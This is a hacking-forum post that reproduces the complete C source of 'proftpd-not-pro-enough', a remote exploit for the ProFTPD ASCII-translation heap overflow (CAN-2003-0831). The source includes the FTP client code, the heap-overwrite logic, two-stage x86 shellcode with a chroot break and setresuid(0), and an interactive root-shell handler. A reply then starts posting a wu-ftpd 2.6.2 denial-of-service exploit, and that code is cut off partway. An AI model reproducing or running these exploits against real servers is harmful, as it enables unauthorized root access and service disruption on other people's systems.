hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

GaLiaRePt
ProFTPD remote exploit for CAN-2003-0831
Date: 2004-01-12

Author : Solar Eclipse <solareclipse@phreedom.org>
Download : http://www.security-corporation.com/downlo...o-enough.tar.gz

This is an exploit for the vulnerability discovered by ISS in September 2003.

It affects
ProFTPD 1.2.7,
ProFTPD 1.2.8,
ProFTPD 1.2.9rc1
ProFTPD 1.2.9rc2.

It Does not Affects
Version 1.2.5
(which ships with Debian stable) is not vulnerable.


######################################################
File name : ftp.c

CODE
/* Sample usage:

struct ftp_conn* ftp;
unsigned char* buf;
int len;

host = resolve_host(hostname);
ftp = ftp_connect_host(host, port, verbose);
ftp_login(ftp, username, password);
ftp_cwd(directory);
ftp_put(ftp, "filename", FTP_BINARY, buf, len);
ftp_get(ftp, "filename", FTP_ASCII, &buf);
ftp_close(ftp);

*/

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

#include "system.h"
#include "ftp.h"

extern int errno;

/* Resolve a hostname */
in_addr_t resolve_host(char* host)
{
struct hostent* hp;
in_addr_t addr;
int i;

if ((addr = inet_addr(host)) == INADDR_NONE) {

if (!(hp = gethostbyname(host))) {
printf("Unable to resolve address %s\n", host);
exit(1);
}

/* we can't handle more than one ip address */
if (hp->h_addr_list[1]) {
printf("%s resolves to multiple IP addresses, please select one of them\n", host);
for (i=0; hp->h_addr_list[i]; i++)
printf("%s\n", inet_ntoa(*(struct in_addr*)&hp->h_addr_list[i]));
exit(1);
}

addr = *(in_addr_t*)hp->h_addr_list[0];
}

return addr;
}

/* Connect to a host */
int connect_host(in_addr_t host, int port)
{
struct sockaddr_in s_in;
int sock;

s_in.sin_family = AF_INET;
s_in.sin_addr.s_addr = host;
s_in.sin_port = htons(port);

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) {
printf("Could not create a socket\n");
exit(1);
}

if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) {
printf("Connection failed: %s\n", strerror(errno));
exit(1);
}

return sock;
}

/* Create a new ftp_conn structure and connect to a host */
struct ftp_conn* ftp_connect_host(in_addr_t host, int port, int verbose)
{
struct ftp_conn* ftp;

ftp = (struct ftp_conn*) xmalloc(sizeof(struct ftp_conn));

/* Initialize the structure */
ftp->verbose = verbose;
ftp->reply_code = 0;
ftp->reply = NULL;

ftp->host = host;
ftp->data = 0;

ftp->sock = connect_host(host, port);

if (ftp_read_reply(ftp) != 220) {
printf("Error in server reply: %s\n", ftp->reply);
exit(1);
}

return ftp;
}

/* Closes the socket and destroys the ftp structure */
void ftp_close(struct ftp_conn* ftp)
{
ftp_send_cmd(ftp, "QUIT\r\n");
close(ftp->sock);

if (ftp->reply) free(ftp->reply);
free(ftp);
}

/* Read len bytes from a socket. Returns 0 if the connection is closed */
int read_data(int sock, unsigned char* buf, int len)
{
int l;
int to_read = len;

do {
if ((l = read(sock, buf, to_read)) < 0) {
printf("Error in read: %s\n", strerror(errno));
exit(1);
}
else if (!l) {
return 0;
}
to_read -= l;
} while (to_read > 0);

return len;
}

/* Read data until EOF */
int read_data_eof(int sock, unsigned char** buf)
{
int l;
int len = 0;
int bufsize = 0;

*buf = NULL;

do {
if (bufsize - len < 1024) {
*buf = xrealloc(*buf, bufsize + 8192);
bufsize += 8192;
}

if ((l = read(sock, *buf + len, bufsize-len)) < 0) {
printf("Error in read: %s\n", strerror(errno));
exit(1);
}

len += l;

} while (l > 0);

return len;
}

/* Read a line terminated by '\n' from a socket. Returns a pointer to a
buffer allocated with malloc(), or NULL if the connection is closed */
char* read_line(int sock)
{
char buf[1024];
int l;

for (l=0; l < 1023; l++) {
if (!read_data(sock, &buf[l], 1))
return NULL;

if (buf[l] == '\n') {
buf[l+1] = '\0';
return xstrdup(buf);
}
}

buf[l+1] = '\0';

printf("Server reply is longer than %d characters.\n", l+1);
printf("%s\n", buf);

exit(1);

return NULL;
}


/* Read a server reply. Stores the reply in ftp->reply_code and ftp->reply.
Returns the reply code */

int ftp_read_reply(struct ftp_conn* ftp)
{
char* reply;
char code[4];

if (!(reply = read_line(ftp->sock))) {
printf("Connection closed while reading server reply\n");
exit(1);
}

if ( (strlen(reply) < 4) ||
!(ISDIGIT(reply[0]) && ISDIGIT(reply[1]) && ISDIGIT(reply[2])) ||
!(reply[3] == ' ' || reply[3] == '-')) {
printf("Server reply is not valid:\n");
printf("%s", reply);
exit(1);
}

code[0] = reply[0];
code[1] = reply[1];
code[2] = reply[2];

code[3] = ' ';

while (strncmp(reply, code, 4)) {
/* free the previous line */
free(reply);

/* read the next line of a multiline reply */
if (!(reply = read_line(ftp->sock))) {
printf("Connection closed while reading server reply\n");
exit(1);
}
}

if (ftp->verbose) printf(" %s", reply);

ftp->reply = reply;
ftp->reply_code = atoi(code);

return ftp->reply_code;
}

/* Write to a socket */
void write_data(int sock, unsigned char* buf, int len)
{
if (send(sock, buf, len, 0) == -1) {
printf("Error in send: %s\n", strerror(errno));
exit(1);
}
}

/* Write a string to a socket */
void ftp_send_cmd(struct ftp_conn* ftp, char* format, ...)
{
char str[1024];
va_list args;

va_start(args, format);
if (vsnprintf(str, 1023, format, args) >= 1023) {
printf("Command longer than 1024 characters:\n%s\n", str);
exit(1);
}
str[1023] = '\0';
va_end(args);

if (ftp->verbose) printf(" %s", str);

write_data(ftp->sock, str, strlen(str));
}


/* Log in using a username and password */
void ftp_login(struct ftp_conn* ftp, char* username, char* password)
{
ftp_send_cmd(ftp, "USER %s\r\n", username);
if (ftp_read_reply(ftp) != 331) {
printf("Error in server reply: %s\n", ftp->reply);
exit(1);
}

ftp_send_cmd(ftp, "PASS %s\r\n", password);
if (ftp_read_reply(ftp) != 230) {
printf("Error in server reply: %s\n", ftp->reply);
exit(1);
}
}

void ftp_cwd(struct ftp_conn* ftp, char* directory)
{
ftp_send_cmd(ftp, "CWD %s\r\n", directory);
if (ftp_read_reply(ftp) != 250) {
printf("Error in server reply: %s\n", ftp->reply);
exit(1);
}
}

void ftp_del(struct ftp_conn* ftp, char* filename)
{
ftp_send_cmd(ftp, "DELE %s\r\n", filename);
ftp_read_reply(ftp);
}

void ftp_passive(struct ftp_conn* ftp)
{
int port, p1, p2;

ftp_send_cmd(ftp, "PASV\r\n");
if (ftp_read_reply(ftp) != 227) {
printf("Error in server reply: %s", ftp->reply);
exit(1);
}

if (sscanf(ftp->reply, "227 Entering Passive Mode (%*d,%*d,%*d,%*d,%d,%d)", &p1, &p2) != 2) {
printf("Error decoding PASV response, the server is not running ProFTPd.\n%s\n", ftp->reply);
exit(1);
}
port = (p1 & 0xff) * 256 + (p2 & 0xff);

ftp->data = connect_host(ftp->host, port);
}

void ftp_put(struct ftp_conn* ftp, char* filename, int mode, unsigned char* buf, int len)
{
if (mode == FTP_ASCII)
ftp_send_cmd(ftp, "TYPE A\r\n");
else
ftp_send_cmd(ftp, "TYPE I\r\n");

if (ftp_read_reply(ftp) != 200) {
printf("Error in server reply: %s\n", ftp->reply);
exit(1);
}

ftp_passive(ftp);

ftp_send_cmd(ftp, "STOR %s\r\n", filename);
if (ftp_read_reply(ftp) != 150) {
printf("Error in server reply: %s", ftp->reply);
exit(1);
}

write_data(ftp->data, buf, len);
close(ftp->data);

ftp->data = 0;

if (ftp_read_reply(ftp) != 226) {
printf("Error in server reply: %s", ftp->reply);
exit(1);
}
}

int ftp_get(struct ftp_conn* ftp, char* filename, int mode, unsigned char** buf)
{
int len;

if (mode == FTP_ASCII)
ftp_send_cmd(ftp, "TYPE A\r\n");
else
ftp_send_cmd(ftp, "TYPE I\r\n");

if (ftp_read_reply(ftp) != 200) {
printf("Error in server reply: %s\n", ftp->reply);
exit(1);
}

ftp_passive(ftp);

ftp_send_cmd(ftp, "RETR %s\r\n", filename);
if (ftp_read_reply(ftp) != 150) {
printf("Error in server reply: %s", ftp->reply);
exit(1);
}

len = read_data_eof(ftp->data, buf);
if (ftp->verbose) printf(" %d bytes read\n", len);

close(ftp->data);
ftp->data = 0;

/* server is either exploited or crashed, so don't read the reply */

/* if (ftp_read_reply(ftp) != 226) {
printf("Error in server reply: %s", ftp->reply);
exit(1);
}
*/
return len;
}

/* EOF */

######################################################

######################################################
File Name : ftp.h

CODE
#include <netinet/in.h>

/* we keep all FTP state in this structure */
struct ftp_conn {
int host;
int sock;
int data;

int verbose;

/* server reply code and an array containing each line */
int reply_code;
char* reply;
};

#define FTP_ASCII 1
#define FTP_BINARY 2

#define ISDIGIT(x) ((x >= 0x30) && (x <= 0x39))

/* FTP functions */

in_addr_t resolve_host(char* host);
struct ftp_conn* ftp_connect_host(in_addr_t host, int port, int verbose);
void ftp_close(struct ftp_conn* ftp);
int ftp_read_reply(struct ftp_conn* ftp);
void ftp_send_cmd(struct ftp_conn* ftp, char* format, ...);

void ftp_login(struct ftp_conn* ftp, char* username, char* password);
void ftp_cwd(struct ftp_conn* ftp, char* directory);
void ftp_del(struct ftp_conn* ftp, char* filename);
void ftp_put(struct ftp_conn* ftp, char* filename, int mode, unsigned char* buf, int len);
int ftp_get(struct ftp_conn* ftp, char* filename, int ascii, unsigned char** buf);

/* EOF */
######################################################

######################################################
File Name : main.c
CODE
/*
* proftpd-not-pro-enough - ProFTPD remote exploit for CAN-2003-0831
* Opens a root shell.
*
* by Solar Eclipse <solareclipse@phreedom.org>
*
* This code or any derivative versions of it may not be posted to Bugtraq
* or anywhere on SecurityFocus, Symantec or any affiliated site.
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <time.h>
#include <errno.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/select.h>

#include "system.h"
#include "ftp.h"
#include "shellcode.h"

extern int errno;

/* offsets to try */
int offsets[] = {
0xffff,
0xffff-1,
0xffff-1000,
0xffff-1001,
0xffff-10000,
0xffff-10001
};

#define MAX_OFFSETS (sizeof(offsets)/sizeof(int))

/* offset of the next chunk from the initial value of session.xfer.buf */
#define NEXTCHUNK_OFS 1534

/* _xlate_ascii_write is called on chunks of this size */
#define PR_TUNABLE_BUFFER_SIZE 1024

/* The file which triggers the vulnerability is build in this structure */
struct ascii_data {
unsigned char* buf;
int len;
int allocated;

int current_bufsize; /* current value of session.xfer.bufsize */
};

/* Add LEN bytes to the buffer in ASCII_DATA, allocating more memory if necessary */
void ascii_append(struct ascii_data* ascii_data, unsigned char* buf, int len)
{
if (ascii_data->len + len >= ascii_data->allocated) {
ascii_data->allocated += (len < 8192) ? 8192 : len + 8192;
ascii_data->buf = xrealloc(ascii_data->buf, ascii_data->allocated);
}
memcpy(&ascii_data->buf[ascii_data->len], buf, len);
ascii_data->len += len;
}

/* Fill a buffer with a NOP sled and stage1 shellcode */
void write_shellcode(unsigned char* buf, int len)
{
int i;

for (i = 0; i < shellcode_stage1_len; i++) {
if (shellcode_stage1[i] == '\n') {
printf("Stage1 shellcode should not contain a newline (\\x0d) character.\n");
exit(1);
}
}

/* We need space for at least 4 NOPs and the shellcode */

if (len < shellcode_stage1_len + 4) {
printf("Not enough space for NOPs and shellcode.\n");
exit(1);
}

for(i=0; i < len - shellcode_stage1_len; i++)
buf[i] = '\x90';

memcpy(&buf[i], shellcode_stage1, shellcode_stage1_len);
}

/* Sets the session.xfer.bufsize to a new value. It can only be increased.
The buffer contains a '\n' sled, a NOP sled and shellcode */
void expand_buffer(struct ascii_data* ascii_data, int new_size)
{
unsigned char buf[PR_TUNABLE_BUFFER_SIZE];
int expand;
int i, n;

if (new_size <= ascii_data->current_bufsize) {
printf("Expanded buffer must be larger than current buffer size\n");
exit(1);
}

expand = new_size - PR_TUNABLE_BUFFER_SIZE;

if (expand > PR_TUNABLE_BUFFER_SIZE) {
printf("Cannot expand buffer by %d bytes\n", expand);
exit(1);
}

/* '\n' sled. Wheeeee! */
for (i = 0, n = 0; i < expand; i+=2) {
buf[n++] = '\x3d';
buf[n++] = '\n';
buf[n++] = '\n';
}

if (i > expand)
n = n - 1;

/* append shellcode to buffer */
write_shellcode(&buf[n], PR_TUNABLE_BUFFER_SIZE-n);

ascii_append(ascii_data, buf, PR_TUNABLE_BUFFER_SIZE);

ascii_data->current_bufsize = new_size;
}

/* Shifts the data in the next chunk by SHIFT bytes. You have to call
expand_buffer() first to make the buffer size include the bytes of
the next chunk you want to shift. */
void shift_nextchunk(struct ascii_data* ascii_data, int shift)
{
unsigned char buf[PR_TUNABLE_BUFFER_SIZE];
int i;

if (PR_TUNABLE_BUFFER_SIZE + shift > ascii_data->current_bufsize) {
printf("Shift %d is greater than the current bufsize %d\n", shift, ascii_data->current_bufsize);
exit(1);
}

for (i = 0; i < shift; i++)
buf[i] = '\n';

/* append shellcode to buffer */
write_shellcode(&buf[i], PR_TUNABLE_BUFFER_SIZE-i);

ascii_append(ascii_data, buf, PR_TUNABLE_BUFFER_SIZE);
}

/* Overwrite the next chunk with LEN bytes from DATA. */
void overwrite_nextchunk(struct ascii_data* ascii_data, unsigned char* data, int len)
{
unsigned char buf[PR_TUNABLE_BUFFER_SIZE];
int i, n;
int shift;

/* Make sure the buffer covers the bytes we want to overwrite */
expand_buffer(ascii_data, NEXTCHUNK_OFS + len);

/* This shifts the data up to nextchunk[len-2]. The byte at nextchunk[len-1]
is set to '\0' */
shift = NEXTCHUNK_OFS + len - PR_TUNABLE_BUFFER_SIZE;

if (PR_TUNABLE_BUFFER_SIZE + shift > ascii_data->current_bufsize) {
printf("Shift %d is grater than the current bufsize %d\n", shift, ascii_data->current_bufsize);
exit(1);
}

for (n = 0; n < shift; n++)
buf[n] = '\n';

write_shellcode(&buf[n], PR_TUNABLE_BUFFER_SIZE-len-n);

n = PR_TUNABLE_BUFFER_SIZE - len;

for (i = 0; i < len; i++)
buf[n++] = data[i];

ascii_append(ascii_data, buf, PR_TUNABLE_BUFFER_SIZE);

/* This shifts the data up to nextchunk[len-1] */
shift_nextchunk(ascii_data, 1);
}

/* Creates the file which triggers the vulnerability. The 2 least
signifficant bytes of a pointer to nextchunk[528] are overwritten
by the value in offset. This creates an address which points
somewhere in the 64K of memory after nextchunk. We put multiple
copies of the shellcode in this area and force a jump to the
overwritten pointer. */
struct ascii_data* create_ascii_data(int offset)
{
struct ascii_data* ascii_data;
int i, expand, max_expand, max_length;
unsigned char buf[PR_TUNABLE_BUFFER_SIZE];
unsigned char nextchunk[] =
"\x11\x02\x00\x00" /* malloc chunk size (528 bytes, prev not in use) */
"\xaa\xaa"; /* 2 least significant bytes of blok->endp */

ascii_data = (struct ascii_data*) xmalloc(sizeof(struct ascii_data));

ascii_data->buf = NULL;
ascii_data->len = 0;
ascii_data->allocated = 0;
ascii_data->current_bufsize = PR_TUNABLE_BUFFER_SIZE;

/* overwrite the 2 least significant bytes of blok->endp */
nextchunk[4] = offset & 0xff;
nextchunk[5] = (offset >> 8) & 0xff;
overwrite_nextchunk(ascii_data, nextchunk, 6);

/* shift the the first 6 dwords of nextchunk by 4 bytes,
so that blok->last overwrites blok->cleanups and the value of
blok->endp is at blok+4 */
expand_buffer(ascii_data, NEXTCHUNK_OFS + 28);
shift_nextchunk(ascii_data, 4);

/* calculate the maximum length of the '\n' sled */
max_length = PR_TUNABLE_BUFFER_SIZE - shellcode_stage1_len - 4;

/* each 3 bytes of the '\n' sled contain 2 '\n' characters and expand
the buffer by 2 */
max_expand = PR_TUNABLE_BUFFER_SIZE + max_length*2/3;

/* Each buffer with shellcode contains one more '\n' characters than
the previous, causing a new 2K buffer to be allocated for it.
This fills the 64K of memory after nextchunk with shellcode. */

for (i=0, expand=max_expand-32; i < 32; i++) {
expand_buffer(ascii_data, expand);
expand++;
}

/* The ascii data is read in 8192 byte chunks, stored in a dynamically
allocated buffer. Usually this buffer is located in the 64K area where
our shellcode should be. Unfortunately the '\n' sled found in the buffers
we built so far only works after it is copied to a new buffer and
expanded by _xlate_ascii_write(). We need to fill the 8KB buffer with
a NOP sled followed by shellcode. */

/* create a buffer with a NOP sled and shellcode */
write_shellcode(buf, PR_TUNABLE_BUFFER_SIZE);

/* The buffer is cyclic, so we need to fill it up to the 8KB boundary
to wrap around to the beginning. */
while (ascii_data->len % 8192 != 0)
ascii_append(ascii_data, buf, PR_TUNABLE_BUFFER_SIZE);

/* overwrite the 8KB buffer with a NOP sled and shellcode */
for (i=0; i < 8192 / PR_TUNABLE_BUFFER_SIZE; i++)
ascii_append(ascii_data, buf, PR_TUNABLE_BUFFER_SIZE);

return ascii_data;
}

/* Generate a random string of [a-z] characters */
char* random_filename(int len)
{
char* filename;
int i;

filename = (char*) xmalloc(len+1);

srandom(time(NULL));

for (i = 0; i<len; i++) {
filename[i] = 'a' + random() % 26;
}

filename[len] = '\0';

return filename;
}

/* Sends the stage2 shellcode to the server */
int send_stage2(int sock)
{
unsigned char buf[16];
int len;
fd_set rset;
struct timeval tv_wait;
int ret;

/* write tag */
write(sock, "\x69\x7a", 3); /* 31337 */

FD_ZERO(&rset);
FD_SET(sock, &rset);

tv_wait.tv_sec = 5;
tv_wait.tv_usec = 0;

if ((ret = select(sock+1, &rset, NULL, NULL, &tv_wait)) == -1) {
printf("Error in select: %s\n", strerror(errno));
exit(1);
}
else if (ret == 0) {
printf("No reposnse from remote process. It probably crashed with a SIGILL and\n");
printf("is currently consuming 100%% CPU. If you succeed in exploiting the server,\n");
printf("remember to kill runaway process\n");
return 0;
}

/* read tag */
if ((len = read(sock, buf, 3)) < 0) {
if (errno == ECONNRESET) {
printf(" stage1 shellcode failed\n");
return 0;
}

printf("Error in read: %s\n", strerror(errno));
exit(1);
}

if (!len) {
printf(" stage1 shellcode failed\n");
return 0;
}

if (len != 3) {
printf(" Less than 4 bytes read from stage1. This was not supposed to happen\n\n");
return 0;
}

if (memcmp(buf, "\x69\x7a", 3)) {
if (ISDIGIT(buf[0]) && ISDIGIT(buf[1]) && ISDIGIT(buf[2])) {
buf[3] = '\0';
printf("Server replied with FTP code %s. It is most likely not vulnerable.\n", buf);
exit(1);
}
printf(" Tags don't match. This was not supposed to happen.\n\n");
printf(" stage1 tag: %02x %02x %02x\n", buf[0], buf[1], buf[2]);
return 0;
}


printf(" Execution of stage1 shellcode succeeded, sending stage2\n");

#ifdef EXPLOIT_DEBUG
printf(": press any key\n");
getchar();
/* send(ssl->sock, "\x90\x90\x90\x90", 4, 0);
getchar();*/
#endif

send(sock, shellcode_stage2, shellcode_stage2_len, 0);

return 1;
}

/* commands run automatically by the shell */

#define CMD "export TERM=xterm; exec bash -i\n" \
"uname -a; id; w;\n"

int shell(int sock)
{
char buf[1];
fd_set rset;
int n, received = 0;

write(sock, CMD, strlen(CMD));

for (;;) {
FD_ZERO(&rset);
FD_SET(0, &rset);
FD_SET(sock, &rset);

select(sock+1, &rset, NULL, NULL, NULL);

if (FD_ISSET(0, &rset)) {
if (read(0, buf, 1) != 1) {
printf("Error in read: %s\n", strerror(errno));
exit(1);
}
if (write(sock, buf, 1) != 1) {
printf("Error in write: %s\n", strerror(errno));
exit(1);
}
}

if (FD_ISSET(sock, &rset)) {
if ((n = read(sock, buf, 1)) != 1) {
if (!n || errno == ECONNRESET) {
if (!received)
printf("Stage2 shellcode failed.\n");
else
printf("Connection closed.\n");
} else
printf("Error in read: %s\n", strerror(errno));

exit(1);
}

received = 1;

fputc(buf[0], stdout);
fflush(stdout); /* keeps output nice */
}
}
}

/* print program usage */
void usage(char* argv0)
{
printf("Usage: %s [options] <host>\n", argv0);
printf(" -f <filename> filename to create (random by default)\n");
printf(" -d <dir> writable directory\n");
printf(" -u <user> user name (anonymous by default)\n");
printf(" -p <password> password\n");
printf(" -v verbose mode\n\n");
printf("If you do not supply any options, an anonymous connection will be established\n");
printf("and the exploit will attempt to find a writable directory.\n\n");
printf("Examples: %s -v localhost\n", argv0);
printf(" %s -u user -p secret -d /incoming 192.168.0.1\n\n", argv0);

exit(1);
}

/* run, code, run */
int main(int argc, char* argv[])
{
in_addr_t host;
int port;
int verbose;
char* hostname;
char* username;
char* password;
char* directory;
char* filename;
int num_offsets;
int bruteforce;

struct ftp_conn* ftp_up;
struct ftp_conn* ftp_down;
struct ascii_data* ascii_data;

int arg, i, len, offset;

unsigned char* buf;

/* set default values */
port = 21;
verbose = 0;
username = "anonymous";
password = "mozilla@";
directory = NULL;
filename = random_filename(8);
num_offsets = MAX_OFFSETS;
bruteforce = 0;

printf(": proftpd-not-pro-enough : ProFTPD remote exploit for CAN-2003-0831\n");
printf(" by Solar Eclipse <solareclipse@phreedom.org>\n");
printf("\n");

/* parse the options */
while ((arg = getopt(argc, argv, "bf:d:ho:p:u:v?")) != EOF) {
switch (arg) {
case 'b' : /* undocumented option */
bruteforce = 1;
break;
case 'f' : filename = optarg;
break;
case 'd' : directory = optarg;
break;
case 'o' : /* undocumented option */
if (!sscanf(optarg, "0x%x", &offset) || (offset < 0) || (offset > 0xffff))
usage(argv[0]);
offsets[0] = offset;
num_offsets = 1;
break;
case 'p' : password = optarg;
break;
case 'u' : username = optarg;
break;
case 'v' : verbose++;
break;
default : usage(argv[0]);
break;
}
}

if (optind >= argc) {
/* no host specified on the command line */
usage(argv[0]);
}

hostname = argv[optind];

if (directory == NULL) {
printf("Automatic writable directory search is not yet implemented.\n");
printf("Please specify a writable directory using the -d option.\n");
exit(1);
}

/* resolve host */
host = resolve_host(hostname);

optind++;

if (optind < argc) {
usage(argv[0]);
}

/* connect to host */
printf(": connecting to %s\n", hostname);
ftp_up = ftp_connect_host(host, port, verbose);

if (!verbose) printf("%s\n", ftp_up->reply);

/* log in */
printf(": loging in as %s/%s\n", username, password);
ftp_login(ftp_up, username, password);

/*
if (!directory)
directory = ftp_writable_dir_search(ftp);
*/

printf(": using writable directory %s, filename is %s\n", directory, filename);
ftp_cwd(ftp_up, directory);

offset = offsets[0];
i = 0;

while (offset > 0 && i < num_offsets) {
printf("\n: exploiting server (offset 0x%04x)\n", offset);

/* uploading exploit file */
ascii_data = create_ascii_data(offset);
ftp_put(ftp_up, filename, FTP_BINARY, ascii_data->buf, ascii_data->len);

/* opening auxiliary connection */
ftp_down = ftp_connect_host(host, port, verbose);
ftp_login(ftp_down, username, password);
ftp_cwd(ftp_down, directory);

#ifdef EXPLOIT_DEBUG
printf(": press any key\n");
getchar();
#endif

/* downloading exploit file in ASCII mode */
len = ftp_get(ftp_down, filename, FTP_ASCII, &buf);

if (send_stage2(ftp_down->sock)) {
/* shellcode worked, close all unnecessary open connections */
ftp_del(ftp_up, filename);
ftp_close(ftp_up);

/* spawn a shell */
shell(ftp_down->sock);

return 0;
}
else {
/* shellcode failed, cleanup and try another offset */
ftp_del(ftp_up, filename);
}

if (!bruteforce)
offset = offsets[++i]; /* try next offset in list */
else {
/* brute force mode */
if (offset & 1)
offset -= 1; /* if odd, try offset-1 because of the '\n' sled */
else
offset -= 999;
}
}

printf("\nExploit failed. :-(\n");

return 0;
}

/* EOF */

######################################################

######################################################
# File Namme : Makefile

CC=gcc
CFLAGS=-g -O0 -Wall

all: proftpd-not-pro-enough

OBJS=main.o ftp.o system.o shellcode.o

proftpd-not-pro-enough: $(OBJS)
$(CC) -o proftpd-not-pro-enough $(OBJS)

%.o: %.c
$(CC) $(CFLAGS) -c $<

ftp.o: system.h ftp.h
main.o: system.h ftp.h shellcode.h

clean:
rm -rf $(OBJS) proftpd-not-pro-enough

######################################################

######################################################
File Name : shellcode.c
CODE
/* Shellcode for Linux on x86 */

/* 64 bytes of stage1 shellcode. */
unsigned char shellcode_stage1[] =

/* for (fd=32; fd > 0; fd--) fork(); */

"\x31\xc9" /* xor %ecx,%ecx */
"\x80\xc1\x21" /* add $0x21,%cl */

"\xeb\x2d" "A" /* jmp <get_addr> */
"AAAA" /* this is overwritten with fd by unlink */

/* fork_loop: */
"\x31\xc0" /* xor %eax,%eax */
"\x04\x02" /* add $0x2,%al */
"\xcd\x80" /* int $0x80 */
"\x85\xc0" /* test %eax,%eax */
"\xe0\xf6" /* loopnz <fork_loop> */
"\x75\x24" /* jne <exit> */

/* read(fd, buf, 3); */

/* read_tag: */
"\x5b" /* pop %ebx */
"\x87\xd9" /* xchg %ebx,%ecx */
"\x04\x03" /* add $0x3,%al */
"\x50" /* push %eax */
"\x5a" /* pop %edx */
"\xcd\x80" /* int $0x80 */

"\x66\x81\x39\x69\x7a" /* cmpw $31337,(%ecx) */
"\x75\x14" /* jne <exit> */

/* write(fd, buf, 3); */

/* write_tag: */
"\x50" /* push %eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */

/* read(fd, buf, 768); */

/* read_shellcode: */
"\x58" /* pop %eax */
"\xc1\xe2\x08" /* shl $0x8,%edx */
"\xcd\x80" /* int $0x80 */
"\xff\xe1" /* jmp *%ecx */

/* get_addr: */
"\xe8\xd3\xff\xff\xff" /* call <fork_loop> */

/* buf: */
"\x90\x90\x90"

/* exit(); */

/* exit: */
"\x31\xc0" /* xor %eax,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
;
int shellcode_stage1_len = sizeof(shellcode_stage1)-1;

unsigned char shellcode_stage2[] =
/* 14 byte dup shellcode */
"\x31\xc9" /* xor %ecx,%ecx */
"\x80\xc1\x03" /* add $0x3,%cl */

/* dup_loop: */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x3f" /* mov $0x3f,%al */
"\x49" /* dec %ecx */
"\xcd\x80" /* int $0x80 */
"\x75\xf7" /* jnz <dup_loop> */

/* 10 byte setresuid(0,0,0); by core */
"\x31\xc9" /* xor %ecx,%ecx */
"\xf7\xe1" /* mul %ecx,%eax */
"\x51" /* push %ecx */
"\x5b" /* pop %ebx */
"\xb0\xa4" /* mov $0xa4,%al */
"\xcd\x80" /* int $0x80 */

/* 24 bytes execl("/bin/sh", "/bin/sh", 0); by LSD-pl */
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */

/* chroot break by LSD-pl */
"\x33\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""bb.." /* pushl $0x2e2e6262 */
"\x89\xe3" /* movl %esp,%ebx */
"\x43" /* incl %ebx */
"\x33\xc9" /* xorl %ecx,%ecx */
"\xb0\x27" /* movb $0x27,%al */
"\xcd\x80" /* int $0x80 */
"\x33\xc0" /* xorl %eax,%eax */
"\xb0\x3d" /* movb $0x3d,%al */
"\xcd\x80" /* int $0x80 */
"\x43" /* incl %ebx */
"\xb1\xff" /* movb $0xff,%cl */
"\xb0\x0c" /* movb $0x0c,%al */
"\xcd\x80" /* int $0x80 */
"\xe2\xfa" /* loop <chrootcode+21> */
"\x43" /* incl %ebx */
"\xb0\x3d" /* movb $0x3d,%al */
"\xcd\x80" /* int $0x80 */

/* 24 bytes execl("/bin/sh", "/bin/sh", 0); by LSD-pl */
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */

/* exit(0); */
"\x31\xdb" /* xor %ebx,%ebx */
"\xf7\xe3" /* mul %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
;
int shellcode_stage2_len = sizeof(shellcode_stage2)-1;

/* EOF */
######################################################

######################################################
#File Name : shellcode.h

CODE
extern unsigned char shellcode_stage1[];
extern int shellcode_stage1_len;

extern unsigned char shellcode_stage2[];
extern int shellcode_stage2_len;

/* EOF */
######################################################

######################################################
# File Name : system.c

CODE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

void* xmalloc(size_t size)
{
void* p = malloc(size);

if (!p) {
printf("Memory allocation error\n");
exit(1);
}

return p;
}

void* xcalloc(size_t nmemb, size_t size)
{
void* p = calloc(nmemb, size);

if (!p) {
printf("Memory allocation error\n");
exit(1);
}

return p;
}

void* xrealloc(void *ptr, size_t size)
{
void* p = realloc(ptr, size);

if (!p) {
printf("Memory allocation error\n");
exit(1);
}

return p;
}

char* xstrdup(const char* s)
{
void* p = strdup(s);

if (!p) {
printf("Memory allocation error\n");
exit(1);
}

return p;
}

######################################################

######################################################
#File Name : system.h
CODE
#include <stdlib.h>
#include <string.h>

void* xmalloc(size_t size);
void* xcalloc(size_t nmemb, size_t size);
void* xrealloc(void *ptr, size_t size);
char* xstrdup(const char* s);


######################################################

Note : Download the tar.gz file and read the README file.
Thanx to http://www.phreedom.org/solar/

biggrin.gif
icenix
very very nice!!!!
verry impressed cool.gif

on FTPS
here is a wu-ftpd 2.6.2 Remote Denial Of Service Exploit i made

CODE



* Tested on Red Hat 9.0
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

void addr_initialize( );
void usage( );

int main( int argc, char **argv )
{
int i, sd, PORT, loop, error;
char user[30], password[30], ch;
struct sockaddr_in server_addr;

       fprintf( stdout, "WuFTPD Freeze 2.6.2\n" );
       fprintf( stdout, "By IceNix\n\n" );

if( argc != 6 ) usage( argv[0] );

if( strlen( argv[3] ) > 20 ) exit( 0 );
